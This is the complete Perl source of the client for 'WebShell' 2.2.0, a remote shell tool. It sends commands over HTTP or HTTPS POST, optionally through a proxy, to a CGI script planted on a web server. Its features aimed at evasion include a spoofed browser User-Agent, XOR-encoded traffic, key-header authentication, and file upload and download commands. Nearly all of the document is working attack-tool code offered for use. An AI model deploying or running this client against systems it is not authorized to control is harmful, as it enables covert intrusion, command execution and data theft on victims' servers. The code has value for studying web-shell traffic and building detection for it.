wsh-c-ssl.pl

Wsh, "Web Shell" - 远程控制UNIX/WIN SHELL

#!/bin/perl
#
# wsh-c.pl - CGI based remote unix shell (client part)
#
# Authors:
#   Alex Dyatlov <alex [at] gray-world.net>
#   Simon Castro <scastro [at] entreelibre.com>
#
# This file is part of WebShell which is distributed under the terms of the  GNU
# General Public License v2.0 and is (c) copyright 2002,2003,2004 Alex   Dyatlov
# <alex [at] gray-world.net> and Simon Castro <scastro [at] entreelibre.com>.
# See README and COPYING files for details or check http://gray-world.net
#
# VERSION 2.2.0
# July, 2004
#
# INSTALL
#
# Module Net::SSLeay is required:
#    http://search.cpan.org/author/SAMPO/Net_SSLeay.pm-1.22/
#
# Module Term::ReadLine::Gnu installation is recommended, get:
# 1) readline-4.2a.tar.gz or later from
#    http://www.gnu.org/directory/readline.html
# 2) ReadLine-Gnu-1.12.tar.gz or later from
#    http://search.cpan.org/search?dist=Term-ReadLine-Gnu
#
# SHELL COMMANDS
#
# exit		as is
# history	show commands history
# !<number>	execute command with history <number>
# wshget <file> get <file> from remote host to local directory
# wshput <file> put <file> from local directory to remote host
# lect <lecter:> change to lecter on Win32 (ex: "lect d:")

use strict;
use IO::Socket;
use Term::ReadLine;
use POSIX qw(:sys_wait_h);

use Net::SSLeay qw(die_now die_if_ssl_error);
Net::SSLeay::randomize();
Net::SSLeay::load_error_strings();
Net::SSLeay::ERR_load_crypto_strings();
Net::SSLeay::SSLeay_add_ssl_algorithms();

#--- config - begin ----------------------------------->8--
my $conf = "wsh-c.conf";	#- config file
my $http_port = 443;		#- default HTTP port
my $proxy_port = 3128;		#- default HTTP proxy port
my $shell_prompt = "wsh#";
my $progres = ".";
my $rand_range = 9999;
my $readkbytes = 100;

sub ebase64 ($;$);

my $ssl_use = 1;                #- (0 || 1) don't or use SSL capability of the webserver
my $ssl_set_check=0;            #- (0 || 1) don't or check the webserver ssl certificate
                                #-          with internal ssl_crt_subject.
my $ssl_crt_subject="/C=Fr/ST=Paris/L=Paris/O=XXX/OU=XXX/CN=XXX";

my $ssl;
my $ctx;

my %CONF;
my %HOST;
$CONF{use_proxy} = 0;		#- default CONF..
$CONF{agent} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)";
$CONF{anticache} = 0;
$CONF{encode} = 0;
#--- config - end ------------------------------------->8--

$ENV{PERL_RL} = " o=0"; # use best available ReadLine without ornaments

open(CF, $conf)
    or die "unable to open config file $conf: $!";
while(my $str = <CF>) {
    chomp($str);
    $str =~ s/(\s+)?#(.*)?//;
    if ($str =~ /(\S+)(\s+)(.+)/) {
	$CONF{$1} = $3;
    } else {
	next;
    }
}
close(CF);

my $request = $ARGV[0];
my $key = $ARGV[1];
unless ($request && $key) {
    print "usage: $0 host[:port]/dir/script KEY\n\n";
    exit -1;
}

my $hostname;
if ($request =~ /^([^\/]+)(.*)/s) {
    $hostname = $1;
    $request = $2
	if (!$CONF{use_proxy});
    if ($hostname =~ /([^:]+):(.*)/) {
	$hostname = $1;
	$http_port = $2;
    }
} else {
    die "\n* error: unable to parse hostname from $ARGV[0]\n\n";
}
if (!$CONF{use_proxy}) {
    if ($hostname !~ /\d+\.\d+\.\d+\.\d+/) {
	(my $name, my $aliases, my $addrtype, my $length, my @addrs) =
	    gethostbyname($hostname)
	    or die "unable to resolve hostname '$hostname'\n\n";
	$HOST{ip} = join('.', unpack('C4', $addrs[0]));
    } else {
	$HOST{ip} = $hostname;
    }
    $HOST{port} = $http_port;
} else {
    die "\n* error: proxy_ip is not specified in $conf"
	unless ($CONF{proxy_ip});
    $HOST{ip} = $CONF{proxy_ip};
    if ($CONF{port}) {
	$HOST{port} = $CONF{port};
    } else {
	$HOST{port} = $proxy_port;
    }
    $request = "http://".$request;
}

my $term = Term::ReadLine->new("wsh");
my $OUT = $term->OUT() || *STDOUT;
if ($CONF{win32} == 1) { binmode $OUT; binmode STDOUT; }
my $io = undef;
my $file;
my $size = 0;

my $cmd = ($CONF{win32} == 1 ? "cd" : "pwd");
my $slash = ($CONF{win32} == 1 ? "\\" : "/");

my $amp = ";";
my @h_list = my @msg = ();
SendViaHTTP();
$msg[1] =~ s/\s*$//s;
my $pwd = $msg[1];
my $lect = $pwd if ($CONF{win32} == 1);
$lect =~ s/^([a-zA-Z]\:).*/$1/ if ($CONF{win32} == 1);
my $shell_prompt_pwd = ($CONF{win32} ? "wsh:pwd>" : "wsh:[pwd]\#");
SetShellPrompt()
    if ($CONF{showpwd} == 1);
while (defined($cmd = $term->readline("$shell_prompt "))) {
    next if (length($cmd) == 0);
# wsh commands --- begin
    exit 0 if ($cmd =~ /^exit$/s);
    if ($cmd =~ /^history$/s) {
	my $h_counter = 1;
	foreach (@h_list) {
	    print $OUT "  ".($h_counter++)."\t$_\n";
	}
	next;
    }
    if ($cmd =~ /^\!(\d+)$/s) {
	($1 > 0 && $1 <= scalar(@h_list)) ?
	    $cmd = $h_list[$1-1] :
	    next;
    }
    $io = undef;
    if ($cmd =~ /^wsh((get)|(put)) ['" ]*?([^'"]+)/s) {
		$io = $1;
		$file = $4;
		$size = 0;
		($pwd =~ /[\/\\]$/s) ?
			$cmd = "wsh$io \"$pwd$file\"" :
			$cmd = "wsh$io \"$pwd$slash$file\"";
		if ($io =~ /put/) {
			unless (open(FH, $file)) {
				print "$file: $!\n";
				next;
			}
			close(FH);
			$size = -s $file;
		}
	}

	if ($CONF{win32} == 1 && $cmd =~ /^lect ([a-zA-Z]\:)$/) {
		$pwd = $1.$slash;
		$lect = $1;
		$cmd = $1;
		SetShellPrompt()
       			if ($CONF{showpwd} == 1);
	}
# wsh commands --- end
	push(@h_list, $cmd);
	if ($cmd =~ /^cd ['"]?([^'";]+)$/s) {
		my $dir = $1;
		if ($CONF{win32} == 1) {
			$dir =~ s/\//$slash/g;
			$pwd = join($slash, ($pwd, $dir));
			while ($pwd =~ /[^\\]+$slash\.\./) {
				$pwd =~ s/[^\\]+$slash\.\.//;
				$pwd =~ s/[\\]{2,}/$slash/g;
				$pwd =~ s/[\\]?$//s;
				$pwd =~ s/^([a-zA-Z])\:$/$1\:\\/s;
			}
			$pwd = $lect.$slash if ($pwd !~ /^[a-zA-Z]\:\\/);
		} else {
			if ($dir =~ /^\/$/) { $pwd = $dir; }
			else {
				$pwd = join($slash, ($pwd, $dir));
				while ($pwd =~ /($slash$slash|\.\.|\.$|(^.+\/$))/) {
					$pwd =~ s/$slash{2,}/$slash/;
					$pwd =~ s/[^\/]+$slash\.\.//;
					$pwd =~ s/([^\/]+)$slash$/$1/;
					$pwd =~ s/\.$//;
				}
			}
		}
		SetShellPrompt()
                 	if ($CONF{showpwd} == 1);
		next;
	}
	unless (defined($io)) {
		if ($CONF{win32} == 1) {
			$cmd = "if exist $pwd ( $lect && cd $pwd && $cmd )".
			"else echo cd: $pwd: No such file or ".
			"directory";
		} else {
			$cmd = "if [ -d '$pwd' ]$amp then cd '$pwd'$amp".
			"else echo 'cd: $pwd: No such file or ".
			"directory'$amp exit 0$amp fi$amp $cmd";
		}
	}
	next
		if (!SendViaHTTP());
        if (!$io) { print $OUT $msg[1]; }
}

sub SetShellPrompt() {
    ($shell_prompt = $shell_prompt_pwd) =~ s/pwd/$pwd/g;
    return 1;
}

sub xor_invert(@) {
    my $buf = $_[0];
    $buf =~ s/(.{1})/$1 ^ chr($CONF{invert})/esg;
    return $buf;
}

sub SendViaHTTP() {
    my $req;
    $cmd =~ s/\s*$//s;
    my $conl;
    if ($io =~ /((get)|(put))/) {
	$conl = $size;
    } else {
	$conl = length($cmd);
    }
    my $SOCKET = IO::Socket::INET->new(
				       PeerAddr => $HOST{ip},
				       PeerPort => $HOST{port},
				       Proto    => "tcp",
				       Type     => SOCK_STREAM)
	or die "\n* error: fail to connect to $HOST{ip}:$HOST{port}: $!";
    ($CONF{anticache}) ?
	$req = "POST $request?".(int(rand($rand_range)))." HTTP/1.0" :
	$req = "POST $request HTTP/1.0";
    $req = join("\r\n", $req,
		"Content-Type: application/octet-stream",
		"User-Agent: $CONF{agent}",
		"Host: $hostname",
		"Content-Length: $conl",
		"HTTP_X_KEY: $key"
		);
    ($CONF{use_proxy}) ?
	$req = join("\r\n", $req,	
		    "Proxy-Connection: close",
		    "Pragma: no-cache") :
		    $req = join("\r\n", $req,	
				"Connection: close");
    if ($CONF{auth}) {
	my $auth_str = ebase64("$CONF{user}:$CONF{pass}", "");
	$req = join("\r\n", $req,
		"Authorization: Basic $auth_str"
	);
    }
    if ($CONF{use_proxy} && $CONF{proxyauth}) {
	my $auth_str = ebase64("$CONF{proxyuser}:$CONF{proxypass}", "");
	$req = join("\r\n", $req,
		"Proxy-Authorization: Basic $auth_str"
	);
    }
    if ($io =~ /put/ || $io =~/get/) {
	$req = join("\r\n", $req,	
		    "HTTP_X_FILE$io: $pwd$slash$file",
		    "\r\n");
    } else {
	$cmd = xor_invert($cmd)
	    if ($CONF{encode} == 1);
	$req = join("\r\n\r\n", $req,
		    $cmd);
    }
    
    if ($ssl_use == 1) {
	$ssl = ssl_connect($SOCKET);
	ssl_check_crt();
    }
    
    if ($CONF{win32} == 1) { binmode $SOCKET, }
    
    if ($ssl_use == 1) { Net::SSLeay::write($ssl,$req); }
    else { print $SOCKET $req; }
    
    if ($io =~ /put/) {
	unless (open(FH, $file)) {
	    print "$file: $!\n";
	    return 0;
	}
	if ($CONF{win32} == 1) { binmode FH; }
	while ((my $bytes = read(FH, my $buf,
				 $readkbytes * 1024,
				 my $position))) {
	    $position += $bytes;
	    $buf = xor_invert($buf)
		if ($CONF{encode} == 1);
	    while ($bytes) {
		if ($ssl_use == 1) { 
		    unless ($b = Net::SSLeay::write($ssl,$buf)) {
			print $OUT "\n* error: fail to send file $file\n";
			return 0;
		    }
		}
		else {
		    unless ($b = syswrite($SOCKET, $buf, $bytes)) {
			print $OUT "\n* error: fail to send file $file\n";
			return 0;
		    }
		}
		$buf = substr($buf, $b, $bytes - $b)
		    if ($bytes != $b);
		$bytes -= $b;
	    }
	    syswrite($OUT, $progres, length($progres));
	}
	print $OUT "\n";
	close(FH);
    }
    my $cl = 0;
    @msg = ();
    if ($ssl_use == 1) {
	# Doing a single ssl_read, we have the whole server datas... So I build the two strings here...
	$msg[0] = $msg[1] = Net::SSLeay::ssl_read_all($ssl);
	$msg[0] =~ s/\r\n((.*)\n)?$//;
	$msg[1] =~ s/^((.*)\n)+\r\n//;
    }
    else {
	while (my $str = <$SOCKET>) {
	    last
		if ($str =~ /^\s*?$/s);
	    $msg[0] = $msg[0].$str;
	}
    }
    $msg[0] =~ /^[^ ]+ 200/s
	or die "\n* error: host $HOST{ip} answer:\n$msg[0]\n";
    if ($io =~ /get/) {
	unless (open(FH, "> $file")) {
	    print $OUT "\n* error: fail to get file $file: $!\n";
	    if ($ssl_use == 1) { ssl_free(); }
	    close($SOCKET);
	    return 0;
	}
	if ($CONF{win32} == 1) { binmode FH; }
	if ($ssl_use == 1) {
	    my $buf = $msg[1];
	    $b = 0;
	    $buf = xor_invert($buf)
		if ($CONF{encode} == 1);
	    my $bytes = length($buf);
	    while ($bytes) {
		unless ($b = syswrite(FH, $buf, $bytes)) {
		    print $OUT "\n* error: fail to get file $file\n";
		    return 0;
		}
		$bytes -= $b;
		syswrite($OUT, $progres, length($progres));
	    }
	}
	else {
	    while (my $bytes = read($SOCKET, my $buf, $readkbytes * 1024)) {
		my $b = 0;
		$buf = xor_invert($buf)
		    if ($CONF{encode} == 1);
		while ($bytes) {
		    unless ($b = syswrite(FH, $buf, $bytes)) {
			print $OUT "\n* error: fail to get file $file\n";
			return 0;
		    }
		    $bytes -= $b;
		}
		syswrite($OUT, $progres, length($progres));
	    }
	}
	print $OUT "\n";
	close(FH);
	if ($ssl_use == 1) { ssl_free(); }
	close($SOCKET);
	return 1;
    }
    $cl = length($msg[0]) + 4;
    if ($msg[0] =~ /Content-Length: (\d+)/s) {
	$cl += $1;
    } else {
	$cl = -1;
    }
    if ($ssl_use != 1) {
	while (my $str = <$SOCKET>) {
	    $msg[1] = $msg[1].$str;
	    last if ($cl > 0 && length($msg[0].$msg[1])+4 >= $cl);
	}
    }
    $msg[1] = xor_invert($msg[1])
	if ($CONF{encode} == 1);
    if ($ssl_use == 1) { ssl_free(); }
    close($SOCKET);
    return 1;
}

sub ssl_connect
{
    my $socket = @_[0];
    
    if ($CONF{use_proxy} == 1)
    {
	print $socket "CONNECT $hostname:$http_port HTTP/1.0\n\n";
	my $answer = <$socket>;
	if ($answer !~ /^[^ ]+ 200/s) {
	    print "Proxy Connection failed:\n\n$answer\n";
	}
    }
    $ctx = Net::SSLeay::CTX_new() || die "Failed to create SSL_CTX #$!#\n";
	$ssl = Net::SSLeay::new($ctx) || die "Failed to create SSL $!\n";
    Net::SSLeay::CTX_set_cipher_list($ctx,'DES-CBC3-SHA');
    Net::SSLeay::set_fd($ssl,fileno($socket));
    Net::SSLeay::connect($ssl);
    return ($ssl);
}

sub ssl_check_crt
{
    my $crt = Net::SSLeay::get_peer_certificate($ssl);
    die_if_ssl_error('get_peer_certificate');
    
    my $remote = Net::SSLeay::X509_NAME_oneline(Net::SSLeay::X509_get_subject_name($crt));
    
    if ($ssl_set_check == 1 && $remote ne $ssl_crt_subject)
    {
	print "\nError : You configured Wsh to check the server certificate :\n";
	print "Cipher used is '".Net::SSLeay::get_cipher($ssl)."'\n";
	print "Remote Cert Subject Name is\n";
	print "  ".Net::SSLeay::X509_NAME_oneline(Net::SSLeay::X509_get_subject_name($crt))."\n";
	print "Config. Cert Subject is\n  ".$ssl_crt_subject."\n\n"; 
	exit (-1);
    }
}

sub ssl_free
{
    Net::SSLeay::free($ssl);
    Net::SSLeay::CTX_free($ctx);
}

sub ebase64 ($;$) {
	my $res = "";
	my $eol = $_[1];
	$eol = "\n" unless defined $eol;
	pos($_[0]) = 0;
	while ($_[0] =~ /(.{1,45})/gs) {$res .= substr(pack('u', $1),1);chop($res);}
	$res =~ tr|` -_|AA-Za-z0-9+/|;
	my $padding = (3 - length($_[0]) % 3) % 3;
	$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
	if (length $eol) {$res =~ s/(.{1,76})/$1$eol/g;}
	$res;
}